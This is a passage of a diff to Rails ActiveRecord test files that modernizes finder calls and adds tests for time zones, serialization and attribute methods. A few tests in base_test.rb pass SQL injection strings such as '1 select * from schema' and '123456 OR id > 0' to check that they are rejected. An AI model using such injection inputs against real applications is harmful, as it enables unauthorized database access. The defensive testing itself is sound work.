@@ -556,11 +626,22 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_time_zone_aware_attribute_saved
+    in_time_zone 1 do
+      record = @target.create(:written_on => '2012-02-20 10:00')
+
+      record.written_on = '2012-02-20 09:00'
+      record.save
+      assert_equal Time.zone.local(2012, 02, 20, 9), record.reload.written_on
+    end
+  end
+
   def test_setting_time_zone_aware_attribute_to_blank_string_returns_nil
     in_time_zone "Pacific Time (US & Canada)" do
       record   = @target.new
       record.written_on = ' '
       assert_nil record.written_on
+      assert_nil record[:written_on]
     end
   end
 
@@ -675,7 +756,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     topic = Topic.new(:id => 5)
     topic.id = 5
 
-    topic.method(:id).owner.send(:remove_method, :id)
+    topic.method(:id).owner.send(:undef_method, :id)
 
     assert_deprecated do
       assert_equal 5, topic.id
@@ -684,17 +765,40 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     Topic.undefine_attribute_methods
   end
 
+  def test_read_attribute_with_nil_should_not_asplode
+    assert_equal nil, Topic.new.read_attribute(nil)
+  end
+
+  # If B < A, and A defines an accessor for 'foo', we don't want to override
+  # that by defining a 'foo' method in the generated methods module for B.
+  # (That module will be inserted between the two, e.g. [B, <GeneratedAttributes>, A].)
+  def test_inherited_custom_accessors
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+      self.abstract_class = true
+      def title; "omg"; end
+      def title=(val); self.author_name = val; end
+    end
+    subklass = Class.new(klass)
+    [klass, subklass].each(&:define_attribute_methods)
+
+    topic = subklass.find(1)
+    assert_equal "omg", topic.title
+
+    topic.title = "lol"
+    assert_equal "lol", topic.author_name
+  end
+
   private
+
   def cached_columns
-    @cached_columns ||= (time_related_columns_on_topic + serialized_columns_on_topic).map(&:name)
+    Topic.columns.find_all { |column|
+      !Topic.serialized_attributes.include? column.name
+    }.map(&:name)
   end
 
   def time_related_columns_on_topic
-    Topic.columns.select { |c| c.type.in?([:time, :date, :datetime, :timestamp]) }
-  end
-
-  def serialized_columns_on_topic
-    Topic.columns.select { |c| Topic.serialized_attributes.include?(c.name) }
+    Topic.columns.select { |c| [:time, :date, :datetime, :timestamp].include?(c.type) }
   end
 
   def in_time_zone(zone)
@@ -710,7 +814,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
   end
 
   def privatize(method_signature)
-    @target.class_eval <<-private_method
+    @target.class_eval(<<-private_method, __FILE__, __LINE__ + 1)
       private
       def #{method_signature}
         "I'm private"
diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb
index 4ad2cdfc7e..fd4f09ab36 100644
--- a/activerecord/test/cases/autosave_association_test.rb
+++ b/activerecord/test/cases/autosave_association_test.rb
@@ -20,22 +20,6 @@ require 'models/company'
 require 'models/eye'
 
 class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
-  def test_autosave_should_be_a_valid_option_for_has_one
-    assert ActiveRecord::Associations::Builder::HasOne.valid_options.include?(:autosave)
-  end
-
-  def test_autosave_should_be_a_valid_option_for_belongs_to
-    assert ActiveRecord::Associations::Builder::BelongsTo.valid_options.include?(:autosave)
-  end
-
-  def test_autosave_should_be_a_valid_option_for_has_many
-    assert ActiveRecord::Associations::Builder::HasMany.valid_options.include?(:autosave)
-  end
-
-  def test_autosave_should_be_a_valid_option_for_has_and_belongs_to_many
-    assert ActiveRecord::Associations::Builder::HasAndBelongsToMany.valid_options.include?(:autosave)
-  end
-
   def test_should_not_add_the_same_callbacks_multiple_times_for_has_one
     assert_no_difference_when_adding_callbacks_twice_for Pirate, :ship
   end
@@ -87,7 +71,7 @@ class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCas
   end
 
   def test_save_fails_for_invalid_has_one
-    firm = Firm.find(:first)
+    firm = Firm.first
     assert firm.valid?
 
     firm.build_account
@@ -99,7 +83,7 @@ class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCas
   end
 
   def test_save_succeeds_for_invalid_has_one_with_validate_false
-    firm = Firm.find(:first)
+    firm = Firm.first
     assert firm.valid?
 
     firm.build_unvalidated_account
@@ -155,20 +139,20 @@ class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCas
   end
 
   def test_not_resaved_when_unchanged
-    firm = Firm.find(:first, :include => :account)
+    firm = Firm.all.merge!(:includes => :account).first
     firm.name += '-changed'
     assert_queries(1) { firm.save! }
 
-    firm = Firm.find(:first)
-    firm.account = Account.find(:first)
+    firm = Firm.first
+    firm.account = Account.first
     assert_queries(Firm.partial_updates? ? 0 : 1) { firm.save! }
 
-    firm = Firm.find(:first).dup
-    firm.account = Account.find(:first)
+    firm = Firm.first.dup
+    firm.account = Account.first
     assert_queries(2) { firm.save! }
 
-    firm = Firm.find(:first).dup
-    firm.account = Account.find(:first).dup
+    firm = Firm.first.dup
+    firm.account = Account.first.dup
     assert_queries(2) { firm.save! }
   end
 
@@ -228,7 +212,7 @@ class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::Test
   end
 
   def test_assignment_before_parent_saved
-    client = Client.find(:first)
+    client = Client.first
     apple = Firm.new("name" => "Apple")
     client.firm = apple
     assert_equal apple, client.firm
@@ -342,11 +326,22 @@ class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::Test
   end
 
   def test_build_and_then_save_parent_should_not_reload_target
-    client = Client.find(:first)
+    client = Client.first
     apple = client.build_firm(:name => "Apple")
     client.save!
     assert_no_queries { assert_equal apple, client.firm }
   end
+
+  def test_validation_does_not_validate_stale_association_target
+    valid_developer   = Developer.create!(:name => "Dude", :salary => 50_000)
+    invalid_developer = Developer.new()
+
+    auditlog = AuditLog.new(:message => "foo")
+    auditlog.developer    = invalid_developer
+    auditlog.developer_id = valid_developer.id
+
+    assert auditlog.valid?
+  end
 end
 
 class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
@@ -373,7 +368,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
   end
 
   def test_invalid_adding_with_validate_false
-    firm = Firm.find(:first)
+    firm = Firm.first
     client = Client.new
     firm.unvalidated_clients_of_firm << client
 
@@ -386,7 +381,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
   def test_valid_adding_with_validate_false
     no_of_clients = Client.count
 
-    firm = Firm.find(:first)
+    firm = Firm.first
     client = Client.new("name" => "Apple")
 
     assert firm.valid?
@@ -575,6 +570,7 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
   self.use_transactional_fixtures = false unless supports_savepoints?
 
   def setup
+    super
     @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
     @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
   end
@@ -615,7 +611,9 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
   def test_a_child_marked_for_destruction_should_not_be_destroyed_twice
     @pirate.ship.mark_for_destruction
     assert @pirate.save
-    @pirate.ship.expects(:destroy).never
+    class << @pirate.ship
+      def destroy; raise "Should not be called" end
+    end
     assert @pirate.save
   end
 
@@ -660,7 +658,9 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
   def test_a_parent_marked_for_destruction_should_not_be_destroyed_twice
     @ship.pirate.mark_for_destruction
     assert @ship.save
-    @ship.pirate.expects(:destroy).never
+    class << @ship.pirate
+      def destroy; raise "Should not be called" end
+    end
     assert @ship.save
   end
 
@@ -755,6 +755,16 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
     assert_equal before, @pirate.reload.birds
   end
 
+  def test_when_new_record_a_child_marked_for_destruction_should_not_affect_other_records_from_saving
+    @pirate = @ship.build_pirate(:catchphrase => "Arr' now I shall keep me eye on you matey!") # new record
+
+    3.times { |i| @pirate.birds.build(:name => "birds_#{i}") }
+    @pirate.birds[1].mark_for_destruction
+    @pirate.save!
+
+    assert_equal 2, @pirate.birds.reload.length
+  end
+
   # Add and remove callbacks tests for association collections.
   %w{ method proc }.each do |callback_type|
     define_method("test_should_run_add_callback_#{callback_type}s_for_has_many") do
@@ -846,7 +856,7 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
     2.times { |i| @pirate.parrots.create!(:name => "parrots_#{i}") }
     before = @pirate.parrots.map { |c| c.mark_for_destruction ; c }
 
-    class << @pirate.parrots
+    class << @pirate.association(:parrots)
       def destroy(*args)
         super
         raise 'Oh noes!'
@@ -897,6 +907,7 @@ class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
   self.use_transactional_fixtures = false unless supports_savepoints?
 
   def setup
+    super
     @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
     @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
   end
@@ -965,10 +976,7 @@ class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
     values = [@pirate.reload.catchphrase, @pirate.ship.name, *@pirate.ship.parts.map(&:name)]
     # Oracle saves empty string as NULL
     if current_adapter?(:OracleAdapter)
-      expected = ActiveRecord::IdentityMap.enabled? ?
-        [nil, nil, '', ''] :
-        [nil, nil, nil, nil]
-      assert_equal expected, values
+      assert_equal [nil, nil, nil, nil], values
     else
       assert_equal ['', '', '', ''], values
     end
@@ -1020,6 +1028,7 @@ class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
   self.use_transactional_fixtures = false unless supports_savepoints?
 
   def setup
+    super
     @ship = Ship.create(:name => 'Nights Dirty Lightning')
     @pirate = @ship.create_pirate(:catchphrase => "Don' botharrr talkin' like one, savvy?")
   end
@@ -1063,8 +1072,7 @@ class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
     @ship.save(:validate => false)
     # Oracle saves empty string as NULL
     if current_adapter?(:OracleAdapter)
-      expected = ActiveRecord::IdentityMap.enabled? ?  [nil, ''] : [nil, nil]
-      assert_equal expected, [@ship.reload.name, @ship.pirate.catchphrase]
+      assert_equal [nil, nil], [@ship.reload.name, @ship.pirate.catchphrase]
     else
       assert_equal ['', ''], [@ship.reload.name, @ship.pirate.catchphrase]
     end
@@ -1253,7 +1261,7 @@ module AutosaveAssociationOnACollectionAssociationTests
   def test_should_not_load_the_associated_models_if_they_were_not_loaded_yet
     assert_queries(1) { @pirate.catchphrase = 'Arr'; @pirate.save! }
 
-    @pirate.send(@association_name).class # hack to load the target
+    @pirate.send(@association_name).load_target
 
     assert_queries(3) do
       @pirate.catchphrase = 'Yarr'
@@ -1268,6 +1276,7 @@ class TestAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
   self.use_transactional_fixtures = false unless supports_savepoints?
 
   def setup
+    super
     @association_name = :birds
 
     @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
@@ -1282,6 +1291,7 @@ class TestAutosaveAssociationOnAHasAndBelongsToManyAssociation < ActiveRecord::T
   self.use_transactional_fixtures = false unless supports_savepoints?
 
   def setup
+    super
     @association_name = :parrots
     @habtm = true
 
@@ -1297,6 +1307,7 @@ class TestAutosaveAssociationValidationsOnAHasManyAssociation < ActiveRecord::Te
   self.use_transactional_fixtures = false unless supports_savepoints?
 
   def setup
+    super
     @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
     @pirate.birds.create(:name => 'cookoo')
   end
@@ -1313,6 +1324,7 @@ class TestAutosaveAssociationValidationsOnAHasOneAssociation < ActiveRecord::Tes
   self.use_transactional_fixtures = false unless supports_savepoints?
 
   def setup
+    super
     @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
     @pirate.create_ship(:name => 'titanic')
     super
@@ -1335,6 +1347,7 @@ class TestAutosaveAssociationValidationsOnABelongsToAssociation < ActiveRecord::
   self.use_transactional_fixtures = false unless supports_savepoints?
 
   def setup
+    super
     @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
   end
 
@@ -1355,6 +1368,7 @@ class TestAutosaveAssociationValidationsOnAHABTMAssociation < ActiveRecord::Test
   self.use_transactional_fixtures = false unless supports_savepoints?
 
   def setup
+    super
     @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
   end
 
@@ -1377,6 +1391,7 @@ class TestAutosaveAssociationValidationMethodsGeneration < ActiveRecord::TestCas
   self.use_transactional_fixtures = false unless supports_savepoints?
 
   def setup
+    super
     @pirate = Pirate.new
   end
 
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
index fdb656fe13..63981a68a9 100644
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -23,10 +23,18 @@ require 'models/edge'
 require 'models/joke'
 require 'models/bulb'
 require 'models/bird'
+require 'models/teapot'
 require 'rexml/document'
 require 'active_support/core_ext/exception'
 require 'bcrypt'
 
+class FirstAbstractClass < ActiveRecord::Base
+  self.abstract_class = true
+end
+class SecondAbstractClass < FirstAbstractClass
+  self.abstract_class = true
+end
+class Photo < SecondAbstractClass; end
 class Category < ActiveRecord::Base; end
 class Categorization < ActiveRecord::Base; end
 class Smarts < ActiveRecord::Base; end
@@ -54,7 +62,11 @@ end
 
 class Weird < ActiveRecord::Base; end
 
-class Boolean < ActiveRecord::Base; end
+class Boolean < ActiveRecord::Base
+  def has_fun
+    super
+  end
+end
 
 class LintTest < ActiveRecord::TestCase
   include ActiveModel::Lint::Tests
@@ -69,6 +81,22 @@ end
 class BasicsTest < ActiveRecord::TestCase
   fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts
 
+  def setup
+    ActiveRecord::Base.time_zone_aware_attributes = false
+    ActiveRecord::Base.default_timezone = :local
+    Time.zone = nil
+  end
+
+  def test_generated_methods_modules
+    modules = Computer.ancestors
+    assert modules.include?(Computer::GeneratedFeatureMethods)
+    assert_equal(Computer::GeneratedFeatureMethods, Computer.generated_feature_methods)
+    assert(modules.index(Computer.generated_attribute_methods) > modules.index(Computer.generated_feature_methods),
+           "generated_attribute_methods must be higher in inheritance hierarchy than generated_feature_methods")
+    assert_not_equal Computer.generated_feature_methods, Post.generated_feature_methods
+    assert(modules.index(Computer.generated_attribute_methods) < modules.index(ActiveRecord::Base.ancestors[1]))
+  end
+
   def test_column_names_are_escaped
     conn      = ActiveRecord::Base.connection
     classname = conn.class.name[/[^:]*$/]
@@ -103,49 +131,42 @@ class BasicsTest < ActiveRecord::TestCase
 
   unless current_adapter?(:PostgreSQLAdapter,:OracleAdapter,:SQLServerAdapter)
     def test_limit_with_comma
-      assert_nothing_raised do
-        Topic.limit("1,2").all
-      end
+      assert Topic.limit("1,2").to_a
     end
   end
 
   def test_limit_without_comma
-    assert_nothing_raised do
-      assert_equal 1, Topic.limit("1").all.length
-    end
-
-    assert_nothing_raised do
-      assert_equal 1, Topic.limit(1).all.length
-    end
+    assert_equal 1, Topic.limit("1").to_a.length
+    assert_equal 1, Topic.limit(1).to_a.length
   end
 
   def test_invalid_limit
     assert_raises(ArgumentError) do
-      Topic.limit("asdfadf").all
+      Topic.limit("asdfadf").to_a
     end
   end
 
   def test_limit_should_sanitize_sql_injection_for_limit_without_comas
     assert_raises(ArgumentError) do
-      Topic.limit("1 select * from schema").all
+      Topic.limit("1 select * from schema").to_a
     end
   end
 
   def test_limit_should_sanitize_sql_injection_for_limit_with_comas
     assert_raises(ArgumentError) do
-      Topic.limit("1, 7 procedure help()").all
+      Topic.limit("1, 7 procedure help()").to_a
     end
   end
 
   unless current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter)
     def test_limit_should_allow_sql_literal
-      assert_equal 1, Topic.limit(Arel.sql('2-1')).all.length
+      assert_equal 1, Topic.limit(Arel.sql('2-1')).to_a.length
     end
   end
 
   def test_select_symbol
     topic_ids = Topic.select(:id).map(&:id).sort
-    assert_equal Topic.all.map(&:id).sort, topic_ids
+    assert_equal Topic.pluck(:id).sort, topic_ids
   end
 
   def test_table_exists
@@ -169,6 +190,31 @@ class BasicsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_previously_changed
+    topic = Topic.first
+    topic.title = '<3<3<3'
+    assert_equal({}, topic.previous_changes)
+
+    topic.save!
+    expected = ["The First Topic", "<3<3<3"]
+    assert_equal(expected, topic.previous_changes['title'])
+  end
+
+  def test_previously_changed_dup
+    topic = Topic.first
+    topic.title = '<3<3<3'
+    topic.save!
+
+    t2 = topic.dup
+
+    assert_equal(topic.previous_changes, t2.previous_changes)
+
+    topic.title = "lolwut"
+    topic.save!
+
+    assert_not_equal(topic.previous_changes, t2.previous_changes)
+  end
+
   def test_preserving_time_objects
     assert_kind_of(
       Time, Topic.find(1).bonus_time,
@@ -181,10 +227,11 @@ class BasicsTest < ActiveRecord::TestCase
     )
 
     # For adapters which support microsecond resolution.
-    if current_adapter?(:PostgreSQLAdapter) || current_adapter?(:SQLiteAdapter)
+    if current_adapter?(:PostgreSQLAdapter) || current_adapter?(:SQLite3Adapter)
       assert_equal 11, Topic.find(1).written_on.sec
       assert_equal 223300, Topic.find(1).written_on.usec
       assert_equal 9900, Topic.find(2).written_on.usec
+      assert_equal 129346, Topic.find(3).written_on.usec
     end
   end
 
@@ -303,13 +350,13 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_load
-    topics = Topic.find(:all, :order => 'id')
+    topics = Topic.all.merge!(:order => 'id').to_a
     assert_equal(4, topics.size)
     assert_equal(topics(:first).title, topics.first.title)
   end
 
   def test_load_with_condition
-    topics = Topic.find(:all, :conditions => "author_name = 'Mary'")
+    topics = Topic.all.merge!(:where => "author_name = 'Mary'").to_a
 
     assert_equal(1, topics.size)
     assert_equal(topics(:second).title, topics.first.title)
@@ -431,7 +478,7 @@ class BasicsTest < ActiveRecord::TestCase
 
   if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
     def test_update_all_with_order_and_limit
-      assert_equal 1, Topic.update_all("content = 'bulk updated!'", nil, :limit => 1, :order => 'id DESC')
+      assert_equal 1, Topic.limit(1).order('id DESC').update_all(:content => 'bulk updated!')
     end
   end
 
@@ -557,14 +604,22 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal "changed", post.body
   end
 
+  def test_attr_readonly_is_class_level_setting
+    post = ReadonlyTitlePost.new
+    assert_raise(NoMethodError) { post._attr_readonly = [:title] }
+    assert_deprecated { post._attr_readonly }
+  end
+
   def test_non_valid_identifier_column_name
     weird = Weird.create('a$b' => 'value')
     weird.reload
     assert_equal 'value', weird.send('a$b')
+    assert_equal 'value', weird.read_attribute('a$b')
 
-    weird.update_column('a$b', 'value2')
+    weird.update_columns('a$b' => 'value2')
     weird.reload
     assert_equal 'value2', weird.send('a$b')
+    assert_equal 'value2', weird.read_attribute('a$b')
   end
 
   def test_multiparameter_attributes_on_date
@@ -751,8 +806,6 @@ class BasicsTest < ActiveRecord::TestCase
     topic = Topic.find(1)
     topic.attributes = attributes
     assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
-  ensure
-    ActiveRecord::Base.default_timezone = :local
   end
 
   def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes
@@ -768,14 +821,9 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
     assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
     assert_equal Time.zone, topic.written_on.time_zone
-  ensure
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    ActiveRecord::Base.default_timezone = :local
-    Time.zone = nil
   end
 
   def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false
-    ActiveRecord::Base.time_zone_aware_attributes = false
     Time.zone = ActiveSupport::TimeZone[-28800]
     attributes = {
       "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
@@ -785,8 +833,6 @@ class BasicsTest < ActiveRecord::TestCase
     topic.attributes = attributes
     assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
     assert_equal false, topic.written_on.respond_to?(:time_zone)
-  ensure
-    Time.zone = nil
   end
 
   def test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_attributes
@@ -803,9 +849,6 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
     assert_equal false, topic.written_on.respond_to?(:time_zone)
   ensure
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    ActiveRecord::Base.default_timezone = :local
-    Time.zone = nil
     Topic.skip_time_zone_conversion_for_attributes = []
   end
 
@@ -823,10 +866,6 @@ class BasicsTest < ActiveRecord::TestCase
       topic.attributes = attributes
       assert_equal Time.utc(2000, 1, 1, 16, 24, 0), topic.bonus_time
       assert topic.bonus_time.utc?
-    ensure
-      ActiveRecord::Base.time_zone_aware_attributes = false
-      ActiveRecord::Base.default_timezone = :local
-      Time.zone = nil
     end
   end
 
@@ -840,6 +879,41 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
   end
 
+  def test_multiparameter_attributes_setting_time_attribute
+    return skip "Oracle does not have TIME data type" if current_adapter? :OracleAdapter
+
+    topic = Topic.new( "bonus_time(4i)"=> "01", "bonus_time(5i)" => "05" )
+    assert_equal 1, topic.bonus_time.hour
+    assert_equal 5, topic.bonus_time.min
+  end
+
+  def test_multiparameter_attributes_setting_date_attribute
+    topic = Topic.new( "written_on(1i)" => "1952", "written_on(2i)" => "3", "written_on(3i)" => "11" )
+    assert_equal 1952, topic.written_on.year
+    assert_equal 3, topic.written_on.month
+    assert_equal 11, topic.written_on.day
+  end
+
+  def test_multiparameter_attributes_setting_date_and_time_attribute
+    topic = Topic.new(
+        "written_on(1i)" => "1952",
+        "written_on(2i)" => "3",
+        "written_on(3i)" => "11",
+        "written_on(4i)" => "13",
+        "written_on(5i)" => "55")
+    assert_equal 1952, topic.written_on.year
+    assert_equal 3, topic.written_on.month
+    assert_equal 11, topic.written_on.day
+    assert_equal 13, topic.written_on.hour
+    assert_equal 55, topic.written_on.min
+  end
+
+  def test_multiparameter_attributes_setting_time_but_not_date_on_date_field
+    assert_raise( ActiveRecord::MultiparameterAssignmentErrors ) do
+      Topic.new( "written_on(4i)" => "13", "written_on(5i)" => "55" )
+    end
+  end
+
   def test_multiparameter_assignment_of_aggregation
     customer = Customer.new
     address = Address.new("The Street", "The City", "The Country")
@@ -881,6 +955,7 @@ class BasicsTest < ActiveRecord::TestCase
       attributes = { "address(1)" => "The Street", "address(2)" => address.city, "address(3000)" => address.country }
       customer.attributes = attributes
     end
+
     assert_equal("address", ex.errors[0].attribute)
   end
 
@@ -912,6 +987,16 @@ class BasicsTest < ActiveRecord::TestCase
     assert b_true.value?
   end
 
+  def test_boolean_without_questionmark
+    b_true = Boolean.create({ "value" => true })
+    true_id = b_true.id
+
+    subclass   = Class.new(Boolean).find true_id
+    superclass = Boolean.find true_id
+
+    assert_equal superclass.read_attribute(:has_fun), subclass.read_attribute(:has_fun)
+  end
+
   def test_boolean_cast_from_string
     b_blank = Boolean.create({ "value" => "" })
     blank_id = b_blank.id
@@ -947,10 +1032,9 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal "b", duped_topic.title
 
     # test if the attribute values have been duped
-    topic.title = {"a" => "b"}
     duped_topic = topic.dup
-    duped_topic.title["a"] = "c"
-    assert_equal "b", topic.title["a"]
+    duped_topic.title.replace "c"
+    assert_equal "a", topic.title
 
     # test if attributes set as part of after_initialize are duped correctly
     assert_equal topic.author_email_address, duped_topic.author_email_address
@@ -961,8 +1045,7 @@ class BasicsTest < ActiveRecord::TestCase
     assert_not_equal duped_topic.id, topic.id
 
     duped_topic.reload
-    # FIXME: I think this is poor behavior, and will fix it with #5686
-    assert_equal({'a' => 'c'}.to_yaml, duped_topic.title)
+    assert_equal("c", duped_topic.title)
   end
 
   def test_dup_with_aggregate_of_same_name_as_attribute
@@ -1061,7 +1144,10 @@ class BasicsTest < ActiveRecord::TestCase
   # TODO: extend defaults tests to other databases!
   if current_adapter?(:PostgreSQLAdapter)
     def test_default
+      tz = Default.default_timezone
+      Default.default_timezone = :local
       default = Default.new
+      Default.default_timezone = tz
 
       # fixed dates / times
       assert_equal Date.new(2004, 1, 1), default.fixed_date
@@ -1093,7 +1179,7 @@ class BasicsTest < ActiveRecord::TestCase
       assert g.save
 
       # Reload and check that we have all the geometric attributes.
-      h = ActiveRecord::IdentityMap.without { Geometric.find(g.id) }
+      h = Geometric.find(g.id)
 
       assert_equal '(5,6.1)', h.a_point
       assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
@@ -1104,7 +1190,8 @@ class BasicsTest < ActiveRecord::TestCase
 
       # use a geometric function to test for an open path
       objs = Geometric.find_by_sql ["select isopen(a_path) from geometrics where id = ?", g.id]
-      assert_equal objs[0].isopen, 't'
+
+      assert_equal true, objs[0].isopen
 
       # test alternate formats when defining the geometric types
 
@@ -1121,7 +1208,7 @@ class BasicsTest < ActiveRecord::TestCase
       assert g.save
 
       # Reload and check that we have all the geometric attributes.
-      h = ActiveRecord::IdentityMap.without { Geometric.find(g.id) }
+      h = Geometric.find(g.id)
 
       assert_equal '(5,6.1)', h.a_point
       assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
@@ -1132,7 +1219,8 @@ class BasicsTest < ActiveRecord::TestCase
 
       # use a geometric function to test for an closed path
       objs = Geometric.find_by_sql ["select isclosed(a_path) from geometrics where id = ?", g.id]
-      assert_equal objs[0].isclosed, 't'
+
+      assert_equal true, objs[0].isclosed
     end
   end
 
@@ -1185,19 +1273,6 @@ class BasicsTest < ActiveRecord::TestCase
     assert(auto.id > 0)
   end
 
-  def quote_column_name(name)
-    "<#{name}>"
-  end
-
-  def test_quote_keys
-    ar = AutoId.new
-    source = {"foo" => "bar", "baz" => "quux"}
-    actual = ar.send(:quote_columns, self, source)
-    inverted = actual.invert
-    assert_equal("<foo>", inverted["bar"])
-    assert_equal("<baz>", inverted["quux"])
-  end
-
   def test_sql_injection_via_find
     assert_raise(ActiveRecord::RecordNotFound, ActiveRecord::StatementInvalid) do
       Topic.find("123456 OR id > 0")
@@ -1215,10 +1290,10 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_quoting_arrays
-    replies = Reply.find(:all, :conditions => [ "id IN (?)", topics(:first).replies.collect(&:id) ])
+    replies = Reply.all.merge!(:where => [ "id IN (?)", topics(:first).replies.collect(&:id) ]).to_a
     assert_equal topics(:first).replies.size, replies.size
 
-    replies = Reply.find(:all, :conditions => [ "id IN (?)", [] ])
+    replies = Reply.all.merge!(:where => [ "id IN (?)", [] ]).to_a
     assert_equal 0, replies.size
   end
 
@@ -1235,6 +1310,51 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal(myobj, topic.content)
   end
 
+  def test_serialized_attribute_in_base_class
+    Topic.serialize("content", Hash)
+
+    hash = { 'content1' => 'value1', 'content2' => 'value2' }
+    important_topic = ImportantTopic.create("content" => hash)
+    assert_equal(hash, important_topic.content)
+
+    important_topic.reload
+    assert_equal(hash, important_topic.content)
+  end
+
+  # This test was added to fix GH #4004. Obviously the value returned
+  # is not really the value 'before type cast' so we should maybe think
+  # about changing that in the future.
+  def test_serialized_attribute_before_type_cast_returns_unserialized_value
+    klass = Class.new(ActiveRecord::Base)
+    klass.table_name = "topics"
+    klass.serialize :content, Hash
+
+    t = klass.new(:content => { :foo => :bar })
+    assert_equal({ :foo => :bar }, t.content_before_type_cast)
+    t.save!
+    t.reload
+    assert_equal({ :foo => :bar }, t.content_before_type_cast)
+  end
+
+  def test_serialized_attribute_calling_dup_method
+    klass = Class.new(ActiveRecord::Base)
+    klass.table_name = "topics"
+    klass.serialize :content, JSON
+
+    t = klass.new(:content => { :foo => :bar }).dup
+    assert_equal({ :foo => :bar }, t.content_before_type_cast)
+  end
+
+  def test_serialized_attribute_declared_in_subclass
+    hash = { 'important1' => 'value1', 'important2' => 'value2' }
+    important_topic = ImportantTopic.create("important" => hash)
+    assert_equal(hash, important_topic.important)
+
+    important_topic.reload
+    assert_equal(hash, important_topic.important)
+    assert_equal(hash, important_topic.read_attribute(:important))
+  end
+
   def test_serialized_time_attribute
     myobj = Time.local(2008,1,1,1,0)
     topic = Topic.create("content" => myobj).reload
@@ -1247,11 +1367,24 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal(myobj, topic.content)
   end
 
-  def test_nil_serialized_attribute_with_class_constraint
+  def test_nil_serialized_attribute_without_class_constraint
     topic = Topic.new
     assert_nil topic.content
   end
 
+  def test_nil_not_serialized_without_class_constraint
+    assert Topic.new(:content => nil).save
+    assert_equal 1, Topic.where(:content => nil).count
+  end
+
+  def test_nil_not_serialized_with_class_constraint
+    Topic.serialize :content, Hash
+    assert Topic.new(:content => nil).save
+    assert_equal 1, Topic.where(:content => nil).count
+  ensure
+    Topic.serialize(:content)
+  end
+
   def test_should_raise_exception_on_serialized_attribute_with_type_mismatch
     myobj = MyObject.new('value1', 'value2')
     topic = Topic.new(:content => myobj)
@@ -1359,22 +1492,6 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal author_name, Topic.find(topic.id).author_name
   end
 
-  if RUBY_VERSION < '1.9'
-    def test_quote_chars
-      with_kcode('UTF8') do
-        str = 'The Narrator'
-        topic = Topic.create(:author_name => str)
-        assert_equal str, topic.author_name
-
-        assert_kind_of ActiveSupport::Multibyte.proxy_class, str.mb_chars
-        topic = Topic.find_by_author_name(str.mb_chars)
-
-        assert_kind_of Topic, topic
